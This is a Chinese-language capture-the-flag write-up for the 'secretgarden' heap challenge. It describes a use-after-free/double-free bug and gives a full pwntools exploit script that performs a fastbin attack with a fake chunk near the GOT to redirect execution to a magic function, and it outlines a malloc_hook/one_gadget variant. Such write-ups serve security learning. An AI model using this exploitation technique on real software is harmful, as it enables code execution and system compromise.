先进行一波基本操作,查看该文件的具体类型和保护机制。
程序执行起来具体如下:
一个个试一下
利用IDA对程序进行进一步的解析,显而易见是简单的switch函数进行选择。
在add函数中申请了一个大小为0x28的堆,另一次是申请buffer堆
经过分析观察,flower结构体应该是这样的
分析各个子函数,发现del()函数中,free掉v1,在free前它仅仅检查了v1的合法性和存在性,并且没有在free后对指针进行置空,所以存在use after free,可以double free。所以以此为突破口来解决本题。
具体堆栈的结构为:
Presize
Size
valid
Name
color
Valid置为0,其余不变。
看网上的帖子具体的利用思路是:先利用unsortbin泄露libc,然后用fastbin修改malloc_printerr为malloc_hook,最后利用doublefree触发异常调用malloc_print去执行onegadget起shell。
但是突然又注意到PIE并没有开启,并且……并且还有magic函数存在。所以之前的分析都可以忽略,因为不需要特意去泄露libc地址,所以问题瞬间化简了很多。
所以决定通过fastbin攻击,获得puts的got表,把自己写的flag打印出来。
Exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r=process(./secretgarden)
def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)
def visit():
r.recvuntil(":")
r.sendline("2")
def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def clean():
r.recvuntil(":")
r.sendline("4")
gdb.attach()
magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")
r.interactive()
申请0x50,再加上头文件大小的0x10,实际申请到的空间是0x60,这是为了同GOT表对齐。如下图所示,可以看到60是符合fastbin检查要求的,其实70-7f都能够满足要求。
GOT表的开始地址是0x602000
进一步查询地址的分布,gx命令是以16字节一行进行显示。
可以看到逐渐对齐的效果。
其中fake_chunk=0x601ffa是惯用的技巧
GOT表的地址是0x602000,我们覆盖的是size位,故减0x8,0x601ffa。即0x602000-0x08=0x601ffa
具体可以参见这一博客:
跑一下EXP,结果居然失败了!!!
阉割版的测试了很多次,都没成功。究其原因,一直都蠢到在当前用户的文件夹写babysecretgarden。正确操作是这样的
最后终于跑出了flag
尝试下正式版的,先测试下EXP是否能跑通。
结果发现居然报错了,系统提示出现了double free,莫非fake_chunk构造错了
至少没像刚才那样出现EOF,再尝试一下whoami,成功!
Pwnable.tw上的正式版与阳哥的训练阉割版比较,多出来PIE保护,并且没有magic函数。所以就不能像刚才一样直接写GOT表来达成目的。需要泄露出libc地址,并且要用到malloc_hook函数。
通过hook函数劫持控制流,利用double-free来进行fastbin-attack,然后把malloc_hook修改为one_gadget。